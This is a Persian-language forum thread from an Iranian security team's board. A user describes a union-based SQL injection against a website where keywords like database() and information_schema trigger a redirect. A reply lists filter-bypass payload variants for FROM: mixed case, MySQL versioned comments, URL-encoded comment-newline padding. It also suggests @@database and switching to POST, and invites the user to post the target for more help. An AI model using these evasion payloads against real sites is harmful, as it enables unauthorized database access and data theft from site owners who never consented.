رفتن به مطلب
انجمن تیم امنیتی گارد ایران

ارسال های توصیه شده

با سلام و تشکر از دوستان گرامی، بعضی از سایتها نسبت به بعضی کلمات حساس هستند و در صورت وارد کردن آنها در URL ، آدرس موجود در مرورگر به یک آدرس خاص تغییر میکند که اکثرا آدرس صفحه اصلی سایت است مثلا به order by پاسخ میدهد و تعداد ستونها را 3 اعلام میکند بعد اگر select 1,2,3 را وارد کنیم ستون آسیب پذیر را 2 و 3 اعلام میکند اگر select 1,version(),3 را وارد کنیم ورژن را اعلام میکند اما وقتی select 1,database(),3 را وارد میکنیم محتوای آدرس بار حذف شده و آدرس صفحه اصلی ظاهر میشود و صفحه اصلی سایت بارگذاری میگردد همچنین وقتی select 1,2,3 from information_schema را وارد میکنیم باز هم صفحه اصلی سایت بارگذاری میگردد برای اینگونه موارد از چه راهکاری باید استفاده کرد

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر

درود

بدون تارگت سخته توضیح دادن ولی روش های بسیاری برای بایپس هست پیشنهاد میکنم تارگتتونو قرار بدید روش کار کنیم

مثلا from

:

FROM

/*!FROM*/

FRom

/*!123456FROM */

/*!222222FrOm*/

%23%0afrom

%23AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%0afrom

...........

و information_schema هم به همین ترتیب

روش post رو هم اضافه کنید معمولا جواب میده

بایپس زیاد هست شما تارگتتون رو قرار بدید بهتر میتونیم راهنمایی کنیم

بایپس database() هم میشه @@database

پیروز باشید .............

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر

برای ارسال دیدگاه یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید دیدگاهی ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در سایت ما ثبت نام کنید. عضویت خیلی ساده است !

ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید

ورود به حساب کاربری
 اشتراک گذاری

انجمن تیم امنیتی گارد ایران

تیم امنیتی گارد ایران یک گروه مستقل است که قوانین آن با خط مشی جمهوری اسلامی ایران مغایرت ندارد. تیم امنیتی گارد ایران از سال 1393 فعالیت خود را آغاز کرد و هدف این تیم تامین امنیت سایت ها و سرورهای ایرانی است. تیم ما همیشه برای دفاع از مرزهای سایبری سرزمین عزیزمان ایران آماده است.

شبکه های اجتماعی

×
×
  • اضافه کردن...